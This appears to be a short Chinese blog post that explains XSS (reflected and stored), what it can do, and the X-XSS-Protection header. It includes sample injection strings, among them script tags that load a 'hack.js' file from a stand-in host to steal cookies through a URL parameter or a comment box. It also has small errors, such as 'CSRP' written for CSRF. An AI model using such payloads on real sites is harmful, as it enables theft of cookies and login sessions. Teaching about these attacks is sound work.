一起养成写作习惯!这是我参与「掘金日新计划 · 4 月更文挑战」的第10天,点击查看活动详情。
web常见的安全漏洞基本分为XSS、CSRP、点击劫持、SQL注入这4种情况
xss
xss(Cross-site-Script, 跨站脚本攻击),因为缩写和css重叠,所以只好叫为xss。
什么是?
通过存在安全漏洞的web网站注册用户的浏览器内运行非法的非法站点Html或js进行的一种攻击
影响
- 利用虚假输入表单骗取用户的信息
- 利用脚本窃取用户的cookie值,被害者在不知情的情况下,帮助攻击者发送恶意的请求
- 显示伪造的文章或者图片
分类
- 反射型-URL参数直接注入
eg:
1)http://location:3000/?from=<script>alert(3)</script>;
- 获取Cookie:
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script> - 短域名伪造:
https://dwz.cn/
- 存储型-存储到DB后读取注入
eg:
1)评论等输入框输入:
- 跨站脚本注入:
我来了<script src="http://localhost:4000/hack.js"></script>
危害
1)获取页面数据;
2)获取cookies;
3) 劫持前端逻辑;
4)发送请求;
5)偷取网站的任意数据;
6)偷取用户资料;
7)偷取用户的秘密和登录态;
8)欺骗用户;
防范
HEAD
ctx.set('x-xss-protection',0);
0:禁用xss过滤;
1:启用xss过滤;如果检测到攻击,浏览器将清除页面(删除不安全的部分)(通常浏览器是默认的)
大多数浏览器框架都进行的安全普通的安全过滤,如,xss;
启用过滤:
1:mode=block 检测到攻击,浏览器不会清除页面,而是阻止页面加载;
2:report=(Chromium only)
检测到跨站脚本攻击,浏览器清除页面并使用CSP report-uri指令的功能发送违规报告;
其他内容,直接上思维导图
因为这块内容写下来比较多,所以直接上图,更加一目了然,对于web常见的安全漏洞与防范,我整理了一个思维导图,如下:
最后:不要问我为什么一开始不直接上思维导图,我也想,只因为字数不够😝